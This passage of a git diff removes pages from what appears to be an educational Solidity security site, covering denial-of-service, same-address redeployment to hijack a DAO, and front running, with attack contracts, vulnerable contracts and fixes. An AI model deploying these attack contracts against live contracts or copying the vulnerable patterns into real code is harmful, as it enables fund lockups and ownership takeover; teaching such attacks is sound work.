ZXNzIHB1YmxpYyBraW5nOwogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsICkgPSBraW5nLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwoKICAgICAgICBiYWxhbmNlID0gbXNnLnZhbHVlOwogICAgICAgIGtpbmcgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgS2luZ09mRXRoZXIga2luZ09mRXRoZXI7CgogICAgY29uc3RydWN0b3IoS2luZ09mRXRoZXIgX2tpbmdPZkV0aGVyKSB7CiAgICAgICAga2luZ09mRXRoZXIgPSBLaW5nT2ZFdGhlcihfa2luZ09mRXRoZXIpOwogICAgfQoKICAgIC8vIFlvdSBjYW4gYWxzbyBwZXJmb3JtIGEgRE9TIGJ5IGNvbnN1bWluZyBhbGwgZ2FzIHVzaW5nIGFzc2VydC4KICAgIC8vIFRoaXMgYXR0YWNrIHdpbGwgd29yayBldmVuIGlmIHRoZSBjYWxsaW5nIGNvbnRyYWN0IGRvZXMgbm90IGNoZWNrCiAgICAvLyB3aGV0aGVyIHRoZSBjYWxsIHdhcyBzdWNjZXNzZnVsIG9yIG5vdC4KICAgIC8vCiAgICAvLyBmdW5jdGlvbiAoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgIC8vICAgICBhc3NlcnQoZmFsc2UpOwogICAgLy8gfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBraW5nT2ZFdGhlci5jbGFpbVRocm9uZXt2YWx1ZTogbXNnLnZhbHVlfSgpOwogICAgfQp9Cg==", - }, - { - fileName: "PreventDenialOfService.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo=", - }, -] - -const html = `

Vulnerability

-

There are many ways to attack a smart contract to make it unusable.

-

One exploit we introduce here is denial of service by making the function to send Ether fail.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-The goal of KingOfEther is to become the king by sending more Ether than
-the previous king. Previous king will be refunded with the amount of Ether
-he sent.
-*/
-
-/*
-1. Deploy KingOfEther
-2. Alice becomes the king by sending 1 Ether to claimThrone().
-2. Bob becomes the king by sending 2 Ether to claimThrone().
-   Alice receives a refund of 1 Ether.
-3. Deploy Attack with address of KingOfEther.
-4. Call attack with 3 Ether.
-5. Current king is the Attack contract and no one can become the new king.
-
-What happened?
-Attack became the king. All new challenge to claim the throne will be rejected
-since Attack contract does not have a fallback function, denying to accept the
-Ether sent from KingOfEther before the new king is set.
-*/
-
-contract KingOfEther {
-    address public king;
-    uint public balance;
-
-    function claimThrone() external payable {
-        require(msg.value > balance, "Need to pay more to become the king");
-
-        (bool sent, ) = king.call{value: balance}("");
-        require(sent, "Failed to send Ether");
-
-        balance = msg.value;
-        king = msg.sender;
-    }
-}
-
-contract Attack {
-    KingOfEther kingOfEther;
-
-    constructor(KingOfEther _kingOfEther) {
-        kingOfEther = KingOfEther(_kingOfEther);
-    }
-
-    // You can also perform a DOS by consuming all gas using assert.
-    // This attack will work even if the calling contract does not check
-    // whether the call was successful or not.
-    //
-    // function () external payable {
-    //     assert(false);
-    // }
-
-    function attack() public payable {
-        kingOfEther.claimThrone{value: msg.value}();
-    }
-}
-

Preventative Techniques

-

One way to prevent this is to allow the users to withdraw their Ether instead of sending it.

-

Here is a example.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract KingOfEther {
-    address public king;
-    uint public balance;
-    mapping(address => uint) public balances;
-
-    function claimThrone() external payable {
-        require(msg.value > balance, "Need to pay more to become the king");
-
-        balances[king] += balance;
-
-        balance = msg.value;
-        king = msg.sender;
-    }
-
-    function withdraw() public {
-        require(msg.sender != king, "Current king cannot withdraw");
-
-        uint amount = balances[msg.sender];
-        balances[msg.sender] = 0;
-
-        (bool sent, ) = msg.sender.call{value: amount}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/denial-of-service/index.md b/src/pages/hacks/denial-of-service/index.md deleted file mode 100644 index 6e3848dd3..000000000 --- a/src/pages/hacks/denial-of-service/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Denial of Service -version: 0.8.20 -description: An example of denial of service hack in Solidity -keywords: [hack, security, denial, service] ---- - -### Vulnerability - -There are many ways to attack a smart contract to make it unusable. - -One exploit we introduce here is denial of service by making the function to send Ether fail. - -```solidity -{{{DenialOfService}}} -``` - -### Preventative Techniques - -One way to prevent this is to allow the users to withdraw their Ether instead of sending it. - -Here is a example. - -```solidity -{{{PreventDenialOfService}}} -``` diff --git a/src/pages/hacks/denial-of-service/index.tsx b/src/pages/hacks/denial-of-service/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/denial-of-service/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/deploy-different-contracts-same-address/TornadoHack.sol b/src/pages/hacks/deploy-different-contracts-same-address/TornadoHack.sol deleted file mode 100644 index d7a20d71e..000000000 --- a/src/pages/hacks/deploy-different-contracts-same-address/TornadoHack.sol +++ /dev/null @@ -1,108 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Called by Alice -0. Deploy DAO - -Called by Attacker -1. Deploy DeployerDeployer -2. Call DeployerDeployer.deploy() -3. Call Deployer.deployProposal() - -Called by Alice -4. Get DAO approval of Proposal - -Called by Attacker -5. Delete Proposal and Deployer -6. Re-deploy Deployer -7. Call Deployer.deployAttack() -8. Call DAO.execute -9. Check DAO.owner is attacker's address - -DAO -- approved --> Proposal -DeployerDeployer -- create2 --> Deployer -- create --> Proposal -DeployerDeployer -- create2 --> Deployer -- create --> Attack -*/ - -contract DAO { - struct Proposal { - address target; - bool approved; - bool executed; - } - - address public owner = msg.sender; - Proposal[] public proposals; - - function approve(address target) external { - require(msg.sender == owner, "not authorized"); - - proposals.push(Proposal({target: target, approved: true, executed: false})); - } - - function execute(uint256 proposalId) external payable { - Proposal storage proposal = proposals[proposalId]; - require(proposal.approved, "not approved"); - require(!proposal.executed, "executed"); - - proposal.executed = true; - - (bool ok, ) = proposal.target.delegatecall( - abi.encodeWithSignature("executeProposal()") - ); - require(ok, "delegatecall failed"); - } -} - -contract Proposal { - event Log(string message); - - function executeProposal() external { - emit Log("Excuted code approved by DAO"); - } - - function emergencyStop() external { - selfdestruct(payable(address(0))); - } -} - -contract Attack { - event Log(string message); - - address public owner; - - function executeProposal() external { - emit Log("Excuted code not approved by DAO :)"); - // For example - set DAO's owner to attacker - owner = msg.sender; - } -} - -contract DeployerDeployer { - event Log(address addr); - - function deploy() external { - bytes32 salt = keccak256(abi.encode(uint(123))); - address addr = address(new Deployer{salt: salt}()); - emit Log(addr); - } -} - -contract Deployer { - event Log(address addr); - - function deployProposal() external { - address addr = address(new Proposal()); - emit Log(addr); - } - - function deployAttack() external { - address addr = address(new Attack()); - emit Log(addr); - } - - function kill() external { - selfdestruct(payable(address(0))); - } -} diff --git a/src/pages/hacks/deploy-different-contracts-same-address/index.html.ts b/src/pages/hacks/deploy-different-contracts-same-address/index.html.ts deleted file mode 100644 index e6c162e89..000000000 --- a/src/pages/hacks/deploy-different-contracts-same-address/index.html.ts +++ /dev/null @@ -1,142 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Deploy Different Contracts at the Same Address" -export const description = - "An example of a Solidity contract vulnerable to deploy different contracts at the same address" - -export const keywords = [ - "hack", - "security", - "deploy", - "salt", - "create", - "create2", - "different", - "contract", - "same", - "address", -] - -export const codes = [ - { - fileName: "TornadoHack.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goUHJvcG9zYWwoe3RhcmdldDogdGFyZ2V0LCBhcHByb3ZlZDogdHJ1ZSwgZXhlY3V0ZWQ6IGZhbHNlfSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUodWludDI1NiBwcm9wb3NhbElkKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBQcm9wb3NhbCBzdG9yYWdlIHByb3Bvc2FsID0gcHJvcG9zYWxzW3Byb3Bvc2FsSWRdOwogICAgICAgIHJlcXVpcmUocHJvcG9zYWwuYXBwcm92ZWQsICJub3QgYXBwcm92ZWQiKTsKICAgICAgICByZXF1aXJlKCFwcm9wb3NhbC5leGVjdXRlZCwgImV4ZWN1dGVkIik7CgogICAgICAgIHByb3Bvc2FsLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgb2ssICkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo=", - }, -] - -const html = `

Contract address deployed with create is computed in the following way.

-
contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
-

where sender is the address of the deployer and nonce is the number of transactions sent by sender.

-

Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

-

Below is an example of how a DAO can be hacked.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Called by Alice
-0. Deploy DAO
-
-Called by Attacker
-1. Deploy DeployerDeployer
-2. Call DeployerDeployer.deploy()
-3. Call Deployer.deployProposal()
-
-Called by Alice
-4. Get DAO approval of Proposal
-
-Called by Attacker
-5. Delete Proposal and Deployer
-6. Re-deploy Deployer
-7. Call Deployer.deployAttack()
-8. Call DAO.execute
-9. Check DAO.owner is attacker's address
-
-DAO -- approved --> Proposal
-DeployerDeployer -- create2 --> Deployer -- create --> Proposal
-DeployerDeployer -- create2 --> Deployer -- create --> Attack
-*/
-
-contract DAO {
-    struct Proposal {
-        address target;
-        bool approved;
-        bool executed;
-    }
-
-    address public owner = msg.sender;
-    Proposal[] public proposals;
-
-    function approve(address target) external {
-        require(msg.sender == owner, "not authorized");
-
-        proposals.push(Proposal({target: target, approved: true, executed: false}));
-    }
-
-    function execute(uint256 proposalId) external payable {
-        Proposal storage proposal = proposals[proposalId];
-        require(proposal.approved, "not approved");
-        require(!proposal.executed, "executed");
-
-        proposal.executed = true;
-
-        (bool ok, ) = proposal.target.delegatecall(
-            abi.encodeWithSignature("executeProposal()")
-        );
-        require(ok, "delegatecall failed");
-    }
-}
-
-contract Proposal {
-    event Log(string message);
-
-    function executeProposal() external {
-        emit Log("Excuted code approved by DAO");
-    }
-
-    function emergencyStop() external {
-        selfdestruct(payable(address(0)));
-    }
-}
-
-contract Attack {
-    event Log(string message);
-
-    address public owner;
-
-    function executeProposal() external {
-        emit Log("Excuted code not approved by DAO :)");
-        // For example - set DAO's owner to attacker
-        owner = msg.sender;
-    }
-}
-
-contract DeployerDeployer {
-    event Log(address addr);
-
-    function deploy() external {
-        bytes32 salt = keccak256(abi.encode(uint(123)));
-        address addr = address(new Deployer{salt: salt}());
-        emit Log(addr);
-    }
-}
-
-contract Deployer {
-    event Log(address addr);
-
-    function deployProposal() external {
-        address addr = address(new Proposal());
-        emit Log(addr);
-    }
-
-    function deployAttack() external {
-        address addr = address(new Attack());
-        emit Log(addr);
-    }
-
-    function kill() external {
-        selfdestruct(payable(address(0)));
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/deploy-different-contracts-same-address/index.md b/src/pages/hacks/deploy-different-contracts-same-address/index.md deleted file mode 100644 index 733e67367..000000000 --- a/src/pages/hacks/deploy-different-contracts-same-address/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Deploy Different Contracts at the Same Address -version: 0.8.20 -description: An example of a Solidity contract vulnerable to deploy different contracts at the same address -keywords: - [hack, security, deploy, salt, create, create2, different, contract, same, address] ---- - -Contract address deployed with `create` is computed in the following way. - -``` -contract address = last 20 bytes of sha3(rlp_encode(sender, nonce)) -``` - -where `sender` is the address of the deployer and `nonce` is the number of transactions sent by `sender`. - -Hence it is possible to deploy different contracts at the same address if we can somehow reset the `nonce`. - -Below is an example of how a DAO can be hacked. - -```solidity -{{{TornadoHack}}} -``` diff --git a/src/pages/hacks/deploy-different-contracts-same-address/index.tsx b/src/pages/hacks/deploy-different-contracts-same-address/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/deploy-different-contracts-same-address/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/front-running/FrontRunning.sol b/src/pages/hacks/front-running/FrontRunning.sol deleted file mode 100644 index 7c8753d06..000000000 --- a/src/pages/hacks/front-running/FrontRunning.sol +++ /dev/null @@ -1,41 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Alice creates a guessing game. -You win 10 ether if you can find the correct string that hashes to the target -hash. Let's see how this contract is vulnerable to front running. -*/ - -/* -1. Alice deploys FindThisHash with 10 Ether. -2. Bob finds the correct string that will hash to the target hash. ("Ethereum") -3. Bob calls solve("Ethereum") with gas price set to 15 gwei. -4. Eve is watching the transaction pool for the answer to be submitted. -5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price - than Bob (100 gwei). -6. Eve's transaction was mined before Bob's transaction. - Eve won the reward of 10 ether. - -What happened? -Transactions take some time before they are mined. -Transactions not yet mined are put in the transaction pool. -Transactions with higher gas price are typically mined first. -An attacker can get the answer from the transaction pool, send a transaction -with a higher gas price so that their transaction will be included in a block -before the original. -*/ - -contract FindThisHash { - bytes32 public constant hash = - 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; - - constructor() payable {} - - function solve(string memory solution) public { - require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"); - - (bool sent, ) = msg.sender.call{value: 10 ether}(""); - require(sent, "Failed to send Ether"); - } -} diff --git a/src/pages/hacks/front-running/PreventFrontRunning.sol b/src/pages/hacks/front-running/PreventFrontRunning.sol deleted file mode 100644 index 09f25936c..000000000 --- a/src/pages/hacks/front-running/PreventFrontRunning.sol +++ /dev/null @@ -1,124 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/Strings.sol"; - -/* - Now Let's see how to guard from front running using commit reveal scheme. -*/ - -/* -1. Alice deploys SecuredFindThisHash with 10 Ether. -2. Bob finds the correct string that will hash to the target hash. ("Ethereum"). -3. Bob then finds the keccak256(Address in lowercase + Solution + Secret). - Address is his wallet address in lowercase, solution is "Ethereum", Secret is like an password ("mysecret") - that only Bob knows whic Bob uses to commit and reveal the solution. - keccak2566("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266Ethereummysecret") = '0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36' -3. Bob then calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36"), - where he commits the calculated solution hash with gas price set to 15 gwei. -4. Eve is watching the transaction pool for the answer to be submitted. -5. Eve sees Bob's answer and he also calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36") - with a higher gas price than Bob (100 gwei). -6. Eve's transaction was mined before Bob's transaction, but Eve has not got the reward yet. - He needs to call revealSolution() with exact secret and solution, so lets say he is watching the transaction pool - to front run Bob as he did previously -7. Then Bob calls the revealSolution("Ethereum", "mysecret") with gas price set to 15 gwei; -8. Let's consider that Eve's who's watching the transaction pool, find's Bob's reveal solution transaction and he also calls - revealSolution("Ethereum", "mysecret") with higher gas price than Bob (100 gwei) -9. Let's consider that this time also Eve's reveal transaction was mined before Bob's transaction, but Eve will be - reverted with "Hash doesn't match" error. Since the revealSolution() function checks the hash using - keccak256(msg.sender + solution + secret). So this time eve fails to win the reward. -10.But Bob's revealSolution("Ethereum", "mysecret") passes the hash check and gets the reward of 10 ether. -*/ - -contract SecuredFindThisHash { - // Struct is used to store the commit details - struct Commit { - bytes32 solutionHash; - uint commitTime; - bool revealed; - } - - // The hash that is needed to be solved - bytes32 public hash = - 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; - - // Address of the winner - address public winner; - - // Price to be rewarded - uint public reward; - - // Status of game - bool public ended; - - // Mapping to store the commit details with address - mapping(address => Commit) commits; - - // Modifier to check if the game is active - modifier gameActive() { - require(!ended, "Already ended"); - _; - } - - constructor() payable { - reward = msg.value; - } - - /* - Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret). - Users can only commit once and if the game is active. - */ - function commitSolution(bytes32 _solutionHash) public gameActive { - Commit storage commit = commits[msg.sender]; - require(commit.commitTime == 0, "Already committed"); - commit.solutionHash = _solutionHash; - commit.commitTime = block.timestamp; - commit.revealed = false; - } - - /* - Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus); - Users can get solution only if the game is active and they have committed a solutionHash - */ - function getMySolution() public view gameActive returns (bytes32, uint, bool) { - Commit storage commit = commits[msg.sender]; - require(commit.commitTime != 0, "Not committed yet"); - return (commit.solutionHash, commit.commitTime, commit.revealed); - } - - /* - Function to reveal the commit and get the reward. - Users can get reveal solution only if the game is active and they have committed a solutionHash before this block and not revealed yet. - It generates an keccak256(msg.sender + solution + secret) and checks it with the previously commited hash. - Front runners will not be able to pass this check since the msg.sender is different. - Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is declared, - the game is ended and the reward amount is sent to the winner. - */ - function revealSolution( - string memory _solution, - string memory _secret - ) public gameActive { - Commit storage commit = commits[msg.sender]; - require(commit.commitTime != 0, "Not committed yet"); - require(commit.commitTime < block.timestamp, "Cannot reveal in the same block"); - require(!commit.revealed, "Already commited and revealed"); - - bytes32 solutionHash = keccak256( - abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret) - ); - require(solutionHash == commit.solutionHash, "Hash doesn't match"); - - require(keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer"); - - winner = msg.sender; - ended = true; - - (bool sent, ) = payable(msg.sender).call{value: reward}(""); - if (!sent) { - winner = address(0); - ended = false; - revert("Failed to send ether."); - } - } -} diff --git a/src/pages/hacks/front-running/index.html.ts b/src/pages/hacks/front-running/index.html.ts deleted file mode 100644 index 65ca31498..000000000 --- a/src/pages/hacks/front-running/index.html.ts +++ /dev/null @@ -1,198 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Front Running" -export const description = - "An example of a Solidity contract vulnerable to front running" - -export const keywords = ["hack", "security", "front", "running"] - -export const codes = [ - { - fileName: "FrontRunning.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShoYXNoID09IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHNvbHV0aW9uKSksICJJbmNvcnJlY3QgYW5zd2VyIik7CgogICAgICAgIChib29sIHNlb